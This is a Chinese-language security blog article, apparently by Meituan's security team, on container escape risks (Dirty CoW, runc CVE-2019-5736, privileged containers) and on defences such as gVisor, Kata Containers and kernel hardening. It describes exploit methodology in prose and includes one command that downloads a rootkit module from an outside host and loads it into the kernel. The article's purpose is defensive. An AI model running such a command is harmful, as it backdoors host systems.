云原生之容器安全实践
概述
云原生（Cloud Native）是一套技術(shù)體系和方法論，它由2個(gè)詞組成，云（Cloud）和原生（Native）。云（Cloud）表示應(yīng)用程序位于云中，而不是傳統(tǒng)的數(shù)據(jù)中心；原生（Native）表示應(yīng)用程序從設(shè)計(jì)之初即考慮到云的環(huán)境，原生為云而設(shè)計(jì)，在云上以最佳狀態(tài)運(yùn)行，充分利用和發(fā)揮云平臺(tái)的彈性和分布式優(yōu)勢(shì)。
云原生的代表技術(shù)包括容器、服務(wù)網(wǎng)格（Service Mesh）、微服務(wù)（Microservice）、不可變基礎(chǔ)設(shè)施和聲明式API。更多對(duì)于云原生的介紹請(qǐng)參考CNCF/Foundation。
筆者將“云原生安全”抽象成如上圖所示的技術(shù)沙盤。自底向上看，底層從硬件安全（可信環(huán)境）到宿主機(jī)安全 。將容器編排技術(shù)（Kubernetes等）看作云上的“操作系統(tǒng)”，它負(fù)責(zé)自動(dòng)化部署、擴(kuò)縮容、管理應(yīng)用等。在它之上由微服務(wù)、Service Mesh、容器技術(shù)（Docker等）、容器鏡像（倉(cāng)庫）組成。它們之間相輔相成，以這些技術(shù)為基礎(chǔ)構(gòu)建云原生安全。
我們?cè)賹?duì)容器安全做一層抽象，又可以看作構(gòu)建時(shí)安全（Build）、部署時(shí)安全（Deployment）、運(yùn)行時(shí)安全（Runtime）。
在美團(tuán)內(nèi)部，鏡像安全由容器鏡像分析平臺(tái)保障。它以規(guī)則引擎的形式運(yùn)營(yíng)監(jiān)管容器鏡像，默認(rèn)規(guī)則支持對(duì)鏡像中Dockerfile、可疑文件、敏感權(quán)限、敏感端口、基礎(chǔ)軟件漏洞、業(yè)務(wù)軟件漏洞以及CIS和NIST的最佳實(shí)踐做檢查，并提供風(fēng)險(xiǎn)趨勢(shì)分析，同時(shí)它確保部分構(gòu)建時(shí)安全。
容器在云原生架構(gòu)下由容器編排技術(shù)（例如Kubernetes）負(fù)責(zé)部署，部署安全同時(shí)也與上文提及的容器編排安全有交集。
運(yùn)行安全管控交由HIDS負(fù)責(zé)（可參考《保障IDC安全：分布式HIDS集群架構(gòu)設(shè)計(jì)》一文）。本文所討論的范疇也屬于運(yùn)行安全之一，主要解決以容器逃逸為模型構(gòu)建的風(fēng)險(xiǎn)（在本文中，若無特殊說明，容器指代Docker）。
對(duì)于安全實(shí)施準(zhǔn)則，我們將其分為三個(gè)階段：
- 攻擊前：裁剪攻擊面，減少對(duì)外暴露的攻擊面（本文涉及的場(chǎng)景關(guān)鍵詞：隔離）；
- 攻擊時(shí)：降低攻擊成功率（本文涉及的場(chǎng)景關(guān)鍵詞：加固）；
- 攻擊后：減少攻擊成功后攻擊者所能獲取的有價(jià)值的信息、數(shù)據(jù)以及增加留后門的難度等。
近些年，數(shù)據(jù)中心的基礎(chǔ)架構(gòu)逐漸從傳統(tǒng)的虛擬化（例如KVM+QEMU架構(gòu)）轉(zhuǎn)向容器化（Kubernetes+Docker架構(gòu)），但“逃逸”始終都是企業(yè)要在這2種架構(gòu)下所面對(duì)的最嚴(yán)峻的安全問題，同時(shí)它也是容器風(fēng)險(xiǎn)中最具代表性的安全問題。筆者將以容器逃逸為切入點(diǎn)，從攻擊者角度（容器逃逸）到防御者角度（緩解容器逃逸）來闡述容器安全的實(shí)踐，從而緩解容器風(fēng)險(xiǎn)。
容器風(fēng)險(xiǎn)
容器提供了將應(yīng)用程序的代碼、配置、依賴項(xiàng)打包到單個(gè)對(duì)象的標(biāo)準(zhǔn)方法。容器建立在兩項(xiàng)關(guān)鍵技術(shù)之上：Linux Namespace和Linux Cgroups。
Namespace創(chuàng)建一個(gè)近乎隔離的用戶空間，并為應(yīng)用程序提供系統(tǒng)資源（文件系統(tǒng)、網(wǎng)絡(luò)棧、進(jìn)程和用戶ID）。Cgroup強(qiáng)制限制硬件資源，如CPU、內(nèi)存、設(shè)備和網(wǎng)絡(luò)等。
容器和VM不同之處在于，VM模擬硬件系統(tǒng)，每個(gè)VM都可以在獨(dú)立環(huán)境中運(yùn)行OS。管理程序模擬CPU、內(nèi)存、存儲(chǔ)、網(wǎng)絡(luò)資源等，這些硬件可由多個(gè)VM共享多次。
容器一共有7個(gè)攻擊面：Linux Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、Libs、Language VM、User Code、Container(Docker) engine。
筆者以容器逃逸為風(fēng)險(xiǎn)模型，提煉出3個(gè)攻擊面：
1. Linux內(nèi)核漏洞
容器的內(nèi)核與宿主內(nèi)核共享，使用Namespace與Cgroups這兩項(xiàng)技術(shù)，使容器內(nèi)的資源與宿主機(jī)隔離，所以Linux內(nèi)核產(chǎn)生的漏洞能導(dǎo)致容器逃逸。
內(nèi)核提權(quán)VS容器逃逸
通用Linux內(nèi)核提權(quán)方法論
信息收集：收集一切對(duì)寫exploit有幫助的信息。 如：內(nèi)核版本，需要確定攻擊的內(nèi)核是什么版本？ 這個(gè)內(nèi)核版本開啟了哪些加固配置？ 還需知道在寫shellcode的時(shí)候會(huì)調(diào)用哪些內(nèi)核函數(shù)？這時(shí)候就需要查詢內(nèi)核符號(hào)表，得到函數(shù)地址。 還可從內(nèi)核中得到一些對(duì)編寫利用有幫助的地址信息、結(jié)構(gòu)信息等等。
觸發(fā)階段：觸發(fā)相關(guān)漏洞，控制RIP，劫持內(nèi)核代碼路徑，簡(jiǎn)而言之，獲取在內(nèi)核中任意執(zhí)行代碼的能力。
布置shellcode：在編寫內(nèi)核exploit代碼的時(shí)候，需要找到一塊內(nèi)存來存放我們的shellcode 。 這塊內(nèi)存至少得滿足兩個(gè)條件：
- 第一：在觸發(fā)漏洞時(shí)，我們要劫持代碼路徑，必須保證代碼路徑可以到達(dá)存放shellcode的內(nèi)存。
- 第二：這塊內(nèi)存是可以被執(zhí)行的，換句話說，存放shellcode的這塊內(nèi)存具有可執(zhí)行權(quán)限。
執(zhí)行階段
- 第一：獲取高于當(dāng)前用戶的權(quán)限，一般我們都是直接獲取root權(quán)限，畢竟它是Linux中的最高權(quán)限，也就是執(zhí)行我們的shellcode。
- 第二：保證內(nèi)核穩(wěn)定，不能因?yàn)槲覀冃枰釞?quán)而破壞原來內(nèi)核的代碼路徑、內(nèi)核結(jié)構(gòu)、內(nèi)核數(shù)據(jù)等等，而導(dǎo)致內(nèi)核崩潰。這樣的話，即使得到root權(quán)限也沒有太大的意義。
簡(jiǎn)而言之，收集對(duì)編寫exploit有幫助的信息，然后觸發(fā)漏洞去執(zhí)行特權(quán)代碼，達(dá)到提權(quán)的效果。
容器逃逸和內(nèi)核提權(quán)只有細(xì)微的差別，需要突破namespace的限制。將高權(quán)限的namespace賦到exploit進(jìn)程的task_struct中。這部分的詳細(xì)技術(shù)細(xì)節(jié)不在本文討論范圍內(nèi)，筆者未來會(huì)抽空再寫一篇關(guān)于容器逃逸的技術(shù)文章，詳細(xì)介紹該相關(guān)技術(shù)的細(xì)節(jié)。
經(jīng)典的Dirty CoW
筆者以Dirty CoW漏洞來說明Linux漏洞導(dǎo)致的容器逃逸。漏洞雖老，奈何太過經(jīng)典。寫到這，筆者不禁想問：多年過去，目前國(guó)內(nèi)外各大廠，Dirty Cow漏洞的存量機(jī)器修復(fù)率是多少？
在Linux內(nèi)核的內(nèi)存子系統(tǒng)處理私有只讀內(nèi)存映射的寫時(shí)復(fù)制（Copy-on-Write，CoW）機(jī)制的方式中發(fā)現(xiàn)了一個(gè)競(jìng)爭(zhēng)沖突。一個(gè)沒有特權(quán)的本地用戶，可能會(huì)利用此漏洞獲得對(duì)其他情況下只讀內(nèi)存映射的寫訪問權(quán)限，從而增加他們?cè)谙到y(tǒng)上的特權(quán)，這就是知名的Dirty CoW漏洞。
Dirty CoW漏洞的逃逸的實(shí)現(xiàn)思路和上述的思路不太一樣，采取Overwrite vDSO技術(shù)。
vDSO（Virtual Dynamic Shared Object）是內(nèi)核為了減少內(nèi)核與用戶空間頻繁切換，提高系統(tǒng)調(diào)用效率而設(shè)計(jì)的機(jī)制。它同時(shí)映射在內(nèi)核空間以及每一個(gè)進(jìn)程的虛擬內(nèi)存中，包括那些以root權(quán)限運(yùn)行的進(jìn)程。通過調(diào)用那些不需要上下文切換（context switching）的系統(tǒng)調(diào)用可以加快這一步驟（定位vDSO）。vDSO在用戶空間（userspace）映射為R/X，而在內(nèi)核空間（kernelspace）則為R/W。這允許我們?cè)趦?nèi)核空間修改它，接著在用戶空間執(zhí)行。又因?yàn)槿萜髋c宿主機(jī)內(nèi)核共享，所以可以直接使用這項(xiàng)技術(shù)逃逸容器。
利用步驟如下：
2. 容器自身
我們先簡(jiǎn)單的看一下Docker的架構(gòu)圖：
Docker本身由Docker（Docker Client）和Dockerd（Docker Daemon）組成。但從Docker 1.11開始，Docker不再是簡(jiǎn)單的通過Docker Dameon來啟動(dòng)，而是集成許多組件，包括containerd、runc等等。
Docker Client是Docker的客戶端程序，用于將用戶請(qǐng)求發(fā)送給Dockerd。Dockerd實(shí)際調(diào)用的是containerd的API接口，containerd是Dockerd和runc之間的一個(gè)中間交流組件，主要負(fù)責(zé)容器運(yùn)行、鏡像管理等。containerd向上為Dockerd提供了gRPC接口，使得Dockerd屏蔽下面的結(jié)構(gòu)變化，確保原有接口向下兼容；向下，通過containerd-shim與runc結(jié)合創(chuàng)建及運(yùn)行容器。更多的相關(guān)內(nèi)容，請(qǐng)參考文末鏈接runc、containerd、architecture。了解清楚這些之后，我們就可以結(jié)合自身的安全經(jīng)驗(yàn)，從這些組件相互間的通信方式、依賴關(guān)系等尋找能導(dǎo)致逃逸的漏洞。
下面我們以Docker中的runc組件所產(chǎn)生的漏洞來說明因容器自身的漏洞而導(dǎo)致的逃逸。
CVE-2019-5736：runc - container breakout vulnerability
runc在使用文件系統(tǒng)描述符時(shí)存在漏洞，該漏洞可導(dǎo)致特權(quán)容器被利用，造成容器逃逸以及訪問宿主機(jī)文件系統(tǒng)；攻擊者也可以使用惡意鏡像，或修改運(yùn)行中的容器內(nèi)的配置來利用此漏洞。
攻擊方式1：（該途徑需要特權(quán)容器）運(yùn)行中的容器被入侵，系統(tǒng)文件被惡意篡改 ==> 宿主機(jī)運(yùn)行docker exec命令，在該容器中創(chuàng)建新進(jìn)程 ==> 宿主機(jī)runc被替換為惡意程序 ==> 宿主機(jī)執(zhí)行docker run/exec 命令時(shí)觸發(fā)執(zhí)行惡意程序；
攻擊方式2：（該途徑無需特權(quán)容器）docker run命令啟動(dòng)了被惡意修改的鏡像 ==> 宿主機(jī)runc被替換為惡意程序 ==> 宿主機(jī)運(yùn)行docker run/exec命令時(shí)觸發(fā)執(zhí)行惡意程序。
當(dāng)runc在容器內(nèi)執(zhí)行新的程序時(shí)，攻擊者可以欺騙它執(zhí)行惡意程序。通過使用自定義二進(jìn)制文件替換容器內(nèi)的目標(biāo)二進(jìn)制文件來實(shí)現(xiàn)指回runc二進(jìn)制文件。
如果目標(biāo)二進(jìn)制文件是/bin/bash，可以用指定解釋器的可執(zhí)行腳本替換#!/proc/self/exe。因此，在容器內(nèi)執(zhí)行/bin/bash，/proc/self/exe的目標(biāo)將被執(zhí)行，將目標(biāo)指向runc二進(jìn)制文件。
然后攻擊者可以繼續(xù)寫入/proc/self/exe目標(biāo)，嘗試覆蓋主機(jī)上的runc二進(jìn)制文件。這里需要使用O_PATH flag打開/proc/self/exe文件描述符，然后以O(shè)_WRONLY flag 通過/proc/self/fd/ 重新打開二進(jìn)制文件，并且用單獨(dú)的一個(gè)進(jìn)程不停地寫入。當(dāng)寫入成功時(shí)，runc會(huì)退出。
3. 不安全部署（配置）
在實(shí)際中，我們經(jīng)常會(huì)遇到這種狀況：不同的業(yè)務(wù)會(huì)根據(jù)自身業(yè)務(wù)需求提供一套自己的配置，而這套配置并未得到有效的管控審計(jì)，使得內(nèi)部環(huán)境變得復(fù)雜多樣，無形之中又增加了很多風(fēng)險(xiǎn)點(diǎn)。最常見的包括：
- 特權(quán)容器或者以root權(quán)限運(yùn)行容器；
- 不合理的Capability配置（權(quán)限過大的Capability）。
面對(duì)特權(quán)容器，在容器內(nèi)簡(jiǎn)單地執(zhí)行一下命令，就可以輕松地在宿主機(jī)上留下后門：
$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko目前在美團(tuán)內(nèi)部，我們已經(jīng)有效地收斂了特權(quán)容器問題。
這部分業(yè)界已經(jīng)給出了最佳實(shí)踐，從宿主機(jī)配置、Dockerd配置、容器鏡像、Dockerfile、容器運(yùn)行時(shí)等方面保障了安全，更多細(xì)節(jié)請(qǐng)參考Benchmark/Docker。同時(shí)Docker官方已經(jīng)將其實(shí)現(xiàn)成自動(dòng)化工具（gVisor）。
安全實(shí)踐
為解決上述部分所闡述的容器逃逸問題，下文將重點(diǎn)從隔離（安全容器）與加固（安全內(nèi)核）兩個(gè)角度來進(jìn)行討論。
安全容器
安全容器的技術(shù)本質(zhì)就是隔離。gVisor和Kata Container是比較具有代表性的實(shí)現(xiàn)方式，目前學(xué)術(shù)界也在探索基于Intel SGX的安全容器。
簡(jiǎn)單地說，gVisor是在用戶態(tài)和內(nèi)核態(tài)之間抽象出一層，封裝成API，有點(diǎn)像user-mode kernel，以此實(shí)現(xiàn)隔離。Kata Container采用了輕量級(jí)的虛擬機(jī)隔離，與傳統(tǒng)的VM比較類似，但是它實(shí)現(xiàn)了無縫集成當(dāng)前的Kubernetes加Docker架構(gòu)。我們接著來看gVisor與Kata Container的異同。
Case 1: gVisor
gVisor是用Golang編寫的用戶態(tài)內(nèi)核，或者說是沙箱技術(shù)，它主要實(shí)現(xiàn)了大部分的system call。它運(yùn)行在應(yīng)用程序和內(nèi)核之間，為它們提供隔離。gVisor被使用在Google云計(jì)算平臺(tái)的App Engine、Cloud Functions和Cloud ML中。gVisor運(yùn)行時(shí)，是由多個(gè)沙箱組成，這些沙箱進(jìn)程共同覆蓋了一個(gè)或多個(gè)容器。通過攔截從應(yīng)用程序到主機(jī)內(nèi)核的所有系統(tǒng)調(diào)用，并使用用戶空間中的Sentry處理它們，gVisor充當(dāng)guest kernel的角色，且無需通過虛擬化硬件轉(zhuǎn)換，可以將它看做vmm與guest kernel的集合，或是seccomp的增強(qiáng)版。
Case 2: Kata Container
Kata Container的Container Runtime是用hypervisor ，然后用hardware virtualization實(shí)現(xiàn)，如同虛擬機(jī)。所以每一個(gè)像這樣的Kata Container的Pod，都是一個(gè)輕量級(jí)虛擬機(jī)，它擁有完整的Linux內(nèi)核。所以Kata Container與VM一樣能提供強(qiáng)隔離性，但由于它的優(yōu)化和性能設(shè)計(jì)，同時(shí)也擁有與容器相媲美的敏捷性。
Kata Container在主機(jī)上有一個(gè)kata-runtime來啟動(dòng)和配置新容器。對(duì)于Kata VM中的每個(gè)容器，主機(jī)上都有相應(yīng)的Kata Shim。 Kata Shim接收來自客戶端的API請(qǐng)求（例如Docker或kubectl），并通過VSock將請(qǐng)求轉(zhuǎn)發(fā)給Kata VM內(nèi)的代理。 Kata容器進(jìn)一步優(yōu)化以減少VM啟動(dòng)時(shí)間。 使用QEMU的輕量級(jí)版本NEMU，刪除了約80％的設(shè)備和包。 VM-Templating創(chuàng)建運(yùn)行Kata VM實(shí)例的克隆，并與其他新創(chuàng)建的Kata VM共享，這樣減少了啟動(dòng)時(shí)間和Guest VM內(nèi)存消耗。 Hotplug功能允許VM使用最少的資源（例如CPU、內(nèi)存、virtio塊）進(jìn)行引導(dǎo)，并在以后請(qǐng)求時(shí)添加其他資源。
gVisor VS Kata Container
在兩者之間，筆者更愿選擇gVisor，因?yàn)間Visor設(shè)計(jì)上比Kata Container更加的“輕”量級(jí)，但gVisor的性能問題始終是一道暫時(shí)無法逾越的“天塹”。綜合二者的優(yōu)劣，Kata Container目前更適合企業(yè)內(nèi)部。總體而言，安全容器技術(shù)還需做諸多探索，以解決不同企業(yè)內(nèi)部基礎(chǔ)架構(gòu)上面臨的各種挑戰(zhàn)。
安全內(nèi)核
眾所周知，Android由于其開源特性，不同廠商都維護(hù)著自己的Android版本。因?yàn)锳ndroid內(nèi)核態(tài)代碼來自于Linux kernel upstrem，當(dāng)一個(gè)漏洞產(chǎn)生在upstrem內(nèi)核，安全補(bǔ)丁推送到Google，再?gòu)腉oogle下發(fā)到各大廠商，最終到終端用戶。由于Android生態(tài)的碎片化，補(bǔ)丁周期非常之長(zhǎng)，使得終端用戶的安全，在這過程中始終處于“空窗期”。當(dāng)我們把目光重新焦距在Linux上，它也同樣存在類似的問題。
內(nèi)核面臨的問題
內(nèi)核補(bǔ)丁
當(dāng)一個(gè)安全漏洞被披露，通常是由漏洞發(fā)現(xiàn)者通過Redhat、OpenSuse、Debian等社區(qū)反饋或直接提交至上游相關(guān)子系統(tǒng)maintainer。在企業(yè)內(nèi)部面臨多個(gè)不同內(nèi)核大版本、內(nèi)核定制化，針對(duì)不同版本從上游代碼backport相關(guān)補(bǔ)丁及制作相關(guān)熱補(bǔ)丁，定制內(nèi)核還需對(duì)補(bǔ)丁進(jìn)行二次開發(fā)，再升級(jí)生產(chǎn)環(huán)境內(nèi)核或Hotfix內(nèi)核。不僅修復(fù)周期過長(zhǎng)，而且在修復(fù)過程中，人員溝通也存在一定的成本，也拉長(zhǎng)了漏洞危險(xiǎn)期。在危險(xiǎn)期間，我們對(duì)于漏洞基本是毫無防護(hù)能力的。
內(nèi)核版本碎片化
內(nèi)核版本碎片化在任意具備一定規(guī)模的公司都是無法避免的問題。隨著技術(shù)的日新月異，不斷迭代，基礎(chǔ)架構(gòu)上的技術(shù)棧需要較新版本的內(nèi)核功能去支持，久而久之就產(chǎn)生內(nèi)核版本的碎片化。碎片化問題的存在，使得在安全補(bǔ)丁的推送方面，遭遇了很大的挑戰(zhàn)。本身補(bǔ)丁還需要做針對(duì)性的適配，包括不同版本的內(nèi)核，并進(jìn)行測(cè)試驗(yàn)證，碎片化使得維護(hù)成本也變得十分高昂。最重要的是，由于維護(hù)工作量大，必然拉長(zhǎng)了測(cè)試補(bǔ)丁的時(shí)間線。也就是說，暴露在攻擊者面前的危險(xiǎn)期變得更長(zhǎng)，被攻擊的可能性也大大增加。
內(nèi)核版本定制化
同樣，因不同公司的基礎(chǔ)架構(gòu)不同、需求不同，導(dǎo)致的定制化內(nèi)核問題。對(duì)于定制化內(nèi)核，無法簡(jiǎn)單的通過從上游內(nèi)核合并補(bǔ)丁，還需對(duì)補(bǔ)丁做一些本地化來適配定制化內(nèi)核。這又拉長(zhǎng)了危險(xiǎn)期。
解決之道
我們使用安全特性去針對(duì)某一類漏洞或是針對(duì)某一類利用方式做防御與檢測(cè)。比如SLAB_FREELIST_HARDENED，針對(duì)Double Free類型漏洞做實(shí)時(shí)檢測(cè)，且防御overwrite freelist鏈表，性能損耗僅0.07%（參考upstrem內(nèi)核源碼，commit id: 2482ddec）。當(dāng)完成所有全部的安全特性，漏洞在被反饋之前和漏洞補(bǔ)丁被及時(shí)推送至生產(chǎn)環(huán)境前，都無需關(guān)心漏洞的細(xì)節(jié)，就能防御。當(dāng)然，安全補(bǔ)丁該打還是得打，這里我們主要解決在安全補(bǔ)丁最終落在生產(chǎn)環(huán)境過程中，“空窗期”對(duì)于漏洞與利用毫無防御能力的問題，同時(shí)也可以對(duì)0day有一定的檢測(cè)及防御能力。
實(shí)施策略
已經(jīng)合并進(jìn)Linux主線版本的安全特性，如果公司的內(nèi)核支持該特性，選擇開啟配置，對(duì)開啟前后內(nèi)核做性能測(cè)試，分析安全特性原理、行業(yè)數(shù)據(jù)，給出Real World攻擊案例（自己寫exploit去證明），將報(bào)告結(jié)論反饋給內(nèi)核團(tuán)隊(duì)。內(nèi)核團(tuán)隊(duì)再做評(píng)估，結(jié)合安全團(tuán)隊(duì)與內(nèi)核團(tuán)隊(duì)雙方意見，最終評(píng)估落地。
已經(jīng)合并進(jìn)Linux主線版本但未被合并進(jìn)Redhat的安全特性，可選擇從Linux內(nèi)核主線版本中移植，這點(diǎn)上代碼質(zhì)量上得到了保障，同時(shí)社區(qū)也做了性能測(cè)試，將其合并到公司的內(nèi)核再做復(fù)測(cè)。
未被合并進(jìn)Linux內(nèi)核主線版本，從Grsecurity/PaX中做移植，在Grsecurity/PaX的諸多安全特性中，評(píng)估選擇，選取代碼改動(dòng)少的，收益高的安全特性優(yōu)先移植。比如改動(dòng)較少的內(nèi)核代碼又能有效解決某一類的漏洞，再打個(gè)比方，Dirty Cow的全量修復(fù)可能需要花費(fèi)1-2年的時(shí)間，如果加了某個(gè)安全特性，即使未修復(fù)也能防御。
內(nèi)核后話
最后，分享一下筆者眼中較為理想中的狀況。當(dāng)然，我們得根據(jù)實(shí)際情況“因地制宜”，在不同階段做出不同的取舍與選擇。
- 將內(nèi)核團(tuán)隊(duì)看成社區(qū)，我們向他們提交代碼，如同Linux內(nèi)核社區(qū)有RFC(Request for Comment)、Patch Review等，無爭(zhēng)議后合并進(jìn)公司內(nèi)核。
- 先挑選實(shí)用的安全特性且代碼量少的，去移植，去實(shí)現(xiàn)，并落地。代碼量少意味著對(duì)內(nèi)核代碼改動(dòng)少，出問題的可能性越小，穩(wěn)定性越高，性能損耗越低。
- 一年完成幾個(gè)安全特性，不需要多，1～2個(gè)即可，對(duì)于內(nèi)核態(tài)的加固，慎重慎重再慎重，譬如國(guó)外G家公司數(shù)據(jù)中心的內(nèi)核發(fā)版前大概需要6～7個(gè)月時(shí)間做性能、穩(wěn)定性測(cè)試。
- 需要做到加固某個(gè)安全特性后，使用0day或Nday去驗(yàn)證防御效果，且基于該內(nèi)核跑業(yè)務(wù)是穩(wěn)定，性能損耗在可接受范圍之內(nèi)或者可控。每個(gè)安全特性需要技術(shù)評(píng)審。為保障代碼質(zhì)量的問題，找實(shí)際的高吞吐以及高并發(fā)低延遲的服務(wù)器小范圍灰度測(cè)試，無爭(zhēng)議后，再推送給內(nèi)核團(tuán)隊(duì)。
- 最后，我們還可以通過將安全特性的代碼直接提交給Linux內(nèi)核社區(qū)，如果代碼有不足的地方也可以和社區(qū)協(xié)同解決，合并進(jìn)Linux內(nèi)核主線代碼，從而側(cè)面推動(dòng)落地。
作者簡(jiǎn)介
Pray3r，負(fù)責(zé)美團(tuán)內(nèi)部操作系統(tǒng)安全、云原生安全、重大高危漏洞應(yīng)急響應(yīng)，長(zhǎng)期專注于Linux內(nèi)核安全及開源軟件安全。
參考文獻(xiàn)
- CNCF/Foundation
- 保障IDC安全：分布式HIDS集群架構(gòu)設(shè)計(jì)
- Dirty Cow
- runc
- containerd
- Docker/Containerd/Architecture
- OSS-Security
- Frichetten/CVE-2019-5736-PoC
- Docker
- Benchmark/Docker/
- gVisor.dev
- Container Isolation at Scale
- Kata-Containers/Documentation
- Kernel
- Redhat
- Namespaces in operation, part 1: namespaces overview
- Control groups series by Neil Brown
- Container-Security
- Anatomy of a Container: Namespaces, cgroups & Some Filesystem Magic - LinuxCon
- A Short Story: Bypass SMEP on Linux
美團(tuán)-信息安全部招聘云原生安全工程師/專家
崗位職責(zé)：
崗位要求：
加分項(xiàng)：
如有意向，請(qǐng)發(fā)送簡(jiǎn)歷：tech@meituan.com（備注：云安全）
總結(jié)
以上是生活随笔為你收集整理的云原生之容器安全实践的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 自然场景人脸检测技术实践
- 下一篇： 百度Java三面：现场面试39题目实拍含